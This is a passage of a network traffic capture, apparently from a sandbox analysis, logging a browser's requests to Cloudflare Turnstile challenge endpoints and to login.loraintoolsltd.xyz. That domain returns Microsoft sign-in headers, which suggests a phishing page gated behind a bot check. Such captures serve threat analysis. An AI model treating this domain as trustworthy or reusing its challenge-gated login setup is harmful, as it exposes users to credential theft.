null;G[ik(1303)](R),C[E++]=H+R[ik(1017)](0),D--,H=R,0==D&&(D=Math[ik(385)](2,F),F++)}}else R[ik(525)][ik(1535)](d[ik(1275)])}}
2025-01-22 06:24:07 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 49 47 4b 4d 49 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 7d 29 3b 74 72 79 7b 28 6a 3d 66 44 28 66 5b 69 71 28 31 35 30 30 29 5d 2c 66 5b 69 71 28 31 35 38 35 29 5d 29 2c 66 5b 69 71 28 31 35 30 30 29 5d 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 69 5b 69 71 28 39 30 30 29 5d 21 3d 3d 69 71 28 36 35 30 29 3f 28 46 3d 27 73 27 3d 3d 3d 78 26 26 21 42 5b 69 71 28 31 35 36 33 29 5d 28 43 5b 44 5d 29 2c 69 5b 69 71 28 31 30 38 36 29 5d 3d 3d 3d 69 5b 69 71 28 35 32 34 29 5d 28 45 2c 46 29 3f 47 28 69 5b 69 71 28 31 31 30 33 29 5d 28 48 2c 49 29 2c 4a 29 3a 46 7c 7c 69 5b 69 71 28 38 33 30 29 5d 28 4b 2c 4c 2b 4d 2c 4e 5b 4f 5d 29 Data Ascii: function(E,F){return E+F},'IGKMI':function(E,F){return E+F}});try{(j=fD(f[iq(1500)],f[iq(1585)]),f[iq(1500)]instanceof Error)?i[iq(900)]!==iq(650)?(F='s'===x&&!B[iq(1563)](C[D]),i[iq(1086)]===i[iq(524)](E,F)?G(i[iq(1103)](H,I),J):F\|\|i[iq(830)](K,L+M,N[O])

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:07 UTC	743	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:07 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 905d7591384332fc-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	173.46.80.217	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:08 UTC	696	OUT	GET /favicon.ico HTTP/1.1 Host: login.loraintoolsltd.xyz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.loraintoolsltd.xyz/FgJIoRDm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: b747-6a6f=475d0ffaef1bfbf6f1719ce11f86d39c4c8d769b461d7af3b038c27176b36278
2025-01-22 06:24:08 UTC	24	IN	HTTP/1.1 404 Not Found
2025-01-22 06:24:08 UTC	24	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a Data Ascii: Cache-Control: private
2025-01-22 06:24:08 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-22 06:24:08 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 32 32 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 32 34 3a 30 37 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 22 Jan 2025 06:24:07 GMT
2025-01-22 06:24:08 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-22 06:24:08 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-22 06:24:08 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-22 06:24:08 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}
2025-01-22 06:24:08 UTC	80	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2025-01-22 06:24:08 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-22 06:24:08 UTC	49	IN	Data Raw: 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 38 37 30 2e 33 20 2d 20 4e 43 55 53 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a Data Ascii: X-Ms-Ests-Server: 2.1.19870.3 - NCUS ProdSlices

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49753	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:08 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:08 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:08 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 905d75951938f5f6-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:08 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49754	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:08 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d758c9c7f5e68&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:08 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:08 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118219 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 905d75970cc3f78f-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:08 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 4b 4d 72 57 68 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.KMrWh3={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"htt
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 Data Ascii: e_feedback_report":"Having%20trouble%3F","turnstile_refresh":"Refresh","turnstile_footer_privacy":"Privacy","turnstile_footer_terms":"Terms","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20p
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 2c 66 55 2c 67 31 2c 67 35 2c 67 36 2c 67 61 2c 67 62 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 31 30 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 34 33 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 33 33 36 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 35 34 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 38 38 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 31 38 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 31 39 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 Data Ascii: ,fU,g1,g5,g6,ga,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(510))/1(-parseInt(gI(843))/2)+parseInt(gI(336))/3+parseInt(gI(1054))/4+-parseInt(gI(1688))/5(-parseInt(gI(1118))/6)+-parseInt(gI(1119))/7+-parseInt(
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 2f 27 2c 65 4d 5b 67 4d 28 31 31 39 34 29 5d 5b 67 4d 28 31 35 37 32 29 5d 29 2b 27 2f 27 3a 27 27 2c 6d 3d 69 5b 67 4d 28 34 32 30 29 5d 28 69 5b 67 4d 28 38 33 35 29 5d 28 69 5b 67 4d 28 38 33 35 29 5d 28 69 5b 67 4d 28 38 33 35 29 5d 28 69 5b 67 4d 28 34 32 30 29 5d 28 69 5b 67 4d 28 38 33 35 29 5d 28 67 4d 28 37 37 35 29 2b 6c 2c 67 4d 28 36 32 39 29 29 2b 31 2c 67 4d 28 38 30 35 29 29 2c 65 4d 5b 67 4d 28 31 31 39 34 29 5d 5b 67 4d 28 31 31 35 36 29 5d 29 2c 27 2f 27 29 2c 65 4d 5b 67 4d 28 31 31 39 34 29 5d 2e 63 48 29 2b 27 2f 27 2c 65 4d 5b 67 4d 28 31 31 39 34 29 5d 5b 67 4d 28 35 35 39 29 5d 29 2c 6e 3d 7b 7d 2c 6e 5b 67 4d 28 37 38 36 29 5d 3d 65 4d 5b 67 4d 28 31 31 39 34 29 5d 5b 67 4d 28 37 38 36 29 5d 2c 6e 5b 67 4d 28 31 31 32 32 29 5d 3d Data Ascii: /',eM[gM(1194)][gM(1572)])+'/':'',m=i[gM(420)](i[gM(835)](i[gM(835)](i[gM(835)](i[gM(420)](i[gM(835)](gM(775)+l,gM(629))+1,gM(805)),eM[gM(1194)][gM(1156)]),'/'),eM[gM(1194)].cH)+'/',eM[gM(1194)][gM(559)]),n={},n[gM(786)]=eM[gM(1194)][gM(786)],n[gM(1122)]=
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 67 4e 28 34 35 33 29 5d 28 6b 29 2c 6c 29 7b 69 66 28 65 5b 67 4e 28 36 39 35 29 5d 3d 3d 3d 65 5b 67 4e 28 33 34 33 29 5d 29 72 65 74 75 72 6e 3b 65 6c 73 65 20 69 3d 28 67 3d 6c 5b 31 5d 2c 68 3d 70 61 72 73 65 49 6e 74 28 6c 5b 32 5d 2c 31 30 29 2c 70 61 72 73 65 49 6e 74 28 6c 5b 33 5d 2c 31 30 29 29 7d 7d 65 6c 73 65 20 65 5b 67 4e 28 31 33 33 38 29 5d 28 65 2c 66 2e 69 64 29 7d 7d 65 6c 73 65 7b 66 6f 72 28 54 3d 31 2c 55 3d 30 3b 65 5b 67 4e 28 36 38 34 29 5d 28 56 2c 57 29 3b 59 3d 65 5b 67 4e 28 31 34 34 30 29 5d 28 5a 2c 31 29 7c 61 30 2c 61 31 3d 3d 65 5b 67 4e 28 31 35 37 39 29 5d 28 61 32 2c 31 29 3f 28 61 33 3d 30 2c 61 34 5b 67 Data Ascii: (k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][gN(453)](k),l){if(e[gN(695)]===e[gN(343)])return;else i=(g=l[1],h=parseInt(l[2],10),parseInt(l[3],10))}}else e[gN(1338)](e,f.id)}}else{for(T=1,U=0;e[gN(684)](V,W);Y=e[gN(1440)](Z,1)\|a0,a1==e[gN(1579)](a2,1)?(a3=0,a4[g
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 2c 27 47 59 46 53 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 7d 2c 65 3d 63 5b 68 49 28 33 35 39 29 5d 2c 65 26 26 65 5b 68 49 28 37 38 33 29 5d 3d 3d 3d 68 49 28 38 34 32 29 26 26 65 5b 68 49 28 31 37 33 31 29 5d 3d 3d 3d 64 5b 68 49 28 36 32 30 29 5d 3f 66 72 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 68 4a 29 7b 68 4a 3d 68 49 2c 64 5b 68 4a 28 39 37 31 29 5d 28 66 52 29 7d 2c 31 65 33 29 3a 65 26 26 64 5b 68 49 28 38 36 30 29 5d 28 65 5b 68 49 28 37 38 33 29 5d 2c 68 49 28 38 34 32 29 29 26 26 65 5b 68 49 28 31 37 33 31 29 5d 3d 3d 3d 68 49 28 37 36 39 29 26 26 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 66 72 29 7d 29 2c 66 74 3d 21 5b 5d 2c 21 65 55 28 67 4a 28 35 39 33 29 29 26 26 Data Ascii: ,'GYFSL':function(f,g){return f===g}},e=c[hI(359)],e&&e[hI(783)]===hI(842)&&e[hI(1731)]===d[hI(620)]?fr=setInterval(function(hJ){hJ=hI,d[hJ(971)](fR)},1e3):e&&d[hI(860)](e[hI(783)],hI(842))&&e[hI(1731)]===hI(769)&&clearInterval(fr)}),ft=![],!eU(gJ(593))&&
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 36 29 2c 27 65 73 43 65 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 6a 70 69 57 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 79 75 50 55 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 66 63 55 78 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 3e 69 7d 2c 27 4b 44 57 65 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 46 78 76 6d 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 64 67 65 65 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 46 4a 42 7a 42 27 3a 66 75 6e 63 74 Data Ascii: 6),'esCeK':function(h,i){return h<i},'jpiWt':function(h,i){return i*h},'yuPUa':function(h,i){return h&i},'fcUxN':function(h,i){return h>>i},'KDWea':function(h,i){return h+i},'Fxvmg':function(h,i){return h<i},'dgeeS':function(h,i){return h<i},'FJBzB':funct
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 4f 4b 59 77 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 66 4b 72 53 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 62 54 67 41 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 56 59 52 42 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 6d 28 38 34 35 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 6f 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 6f 3d 69 6d 2c 69 3d 7b 7d 2c 69 5b 69 6f 28 31 34 39 35 29 5d 3d 69 6f 28 39 39 34 29 2c 6a 3d 69 2c 68 3d 3d Data Ascii: function(h,i){return h!=i},'OKYwx':function(h,i){return h&i},'fKrSa':function(h,i){return h<i},'bTgAI':function(h,i){return h-i},'VYRBY':function(h,i){return i===h}},e=String[im(845)],f={'h':function(h,io,i,j){return io=im,i={},i[io(1495)]=io(994),j=i,h==
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 64 5b 69 71 28 31 32 36 35 29 5d 28 4d 2c 31 29 2c 64 5b 69 71 28 37 35 30 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 69 71 28 31 32 38 30 29 5d 28 64 5b 69 71 28 31 31 32 31 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 3d 28 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 69 71 28 31 31 34 35 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 78 5b 4c 5d 3d 45 2b 2b 2c 64 5b 69 71 28 31 31 32 31 29 5d 28 53 74 72 69 6e 67 2c 4b 29 29 7d 69 66 28 27 27 21 3d 3d 43 29 7b 69 66 28 4f 62 6a 65 63 74 5b 69 71 28 31 34 32 30 29 5d 5b 69 71 28 31 37 36 31 29 5d Data Ascii: ,F),F++),delete B[C]}else for(M=x[C],s=0;s<F;H=H<<1\|d[iq(1265)](M,1),d[iq(750)](I,j-1)?(I=0,G[iq(1280)](d[iq(1121)](o,H)),H=0):I++,M>>=1,s++);C=(D--,D==0&&(D=Math[iq(1145)](2,F),F++),x[L]=E++,d[iq(1121)](String,K))}if(''!==C){if(Object[iq(1420)][iq(1761)]
2025-01-22 06:24:08 UTC	1369	IN	Data Raw: 7b 47 5b 69 71 28 31 32 38 30 29 5d 28 64 5b 69 71 28 31 31 32 31 29 5d 28 6f 2c 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 69 71 28 31 35 34 35 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 72 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 72 3d 69 6d 2c 69 3d 7b 7d 2c 69 5b 69 72 28 34 35 39 29 5d 3d 69 72 28 35 31 34 29 2c 6a 3d 69 2c 64 5b 69 72 28 37 36 30 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 27 27 3d 3d 68 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 69 72 28 36 32 36 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 6b 2c 69 73 2c 6c 2c 6e 2c 6f 29 7b 69 66 28 69 73 3d 69 72 2c 6c 3d 7b 27 73 41 47 72 53 27 3a 69 73 28 31 35 36 38 29 2c 27 6f 6c 6b 52 76 27 3a 69 73 28 31 34 39 36 29 2c Data Ascii: {G[iq(1280)](d[iq(1121)](o,H));break}else I++;return G[iq(1545)]('')},'j':function(h,ir,i,j){return ir=im,i={},i[ir(459)]=ir(514),j=i,d[ir(760)](null,h)?'':''==h?null:f.i(h[ir(626)],32768,function(k,is,l,n,o){if(is=ir,l={'sAGrS':is(1568),'olkRv':is(1496),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49755	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:08 UTC	1174	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3210 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:08 UTC	3210	OUT	Data Raw: 76 5f 39 30 35 64 37 35 38 63 39 63 37 66 35 65 36 38 3d 52 67 64 51 2d 51 75 51 42 51 55 51 6f 51 68 2d 78 74 2d 78 55 39 51 5a 6c 70 48 51 78 67 62 42 79 78 71 50 78 68 75 51 7a 49 78 25 32 62 65 78 74 38 31 54 4a 68 69 31 64 78 6d 51 49 48 51 68 79 78 72 62 51 78 69 6f 49 48 41 78 6c 65 6c 4e 78 30 4e 78 59 56 4b 55 7a 6f 78 54 6c 4a 43 39 62 51 68 53 78 76 51 7a 59 54 41 44 75 68 4a 78 41 78 30 67 74 35 2b 6c 51 41 52 35 62 44 32 75 62 49 65 78 69 64 7a 59 78 61 64 7a 79 52 32 42 4e 78 39 51 7a 56 78 49 38 69 64 61 39 58 39 52 34 54 38 71 66 62 78 62 2b 43 6f 78 62 58 41 51 68 42 54 75 68 65 51 50 2d 46 78 7a 4a 78 65 48 4a 7a 56 51 62 56 35 78 6e 56 43 44 4a 78 48 6a 48 4f 78 62 44 67 46 78 7a 5a 42 75 7a 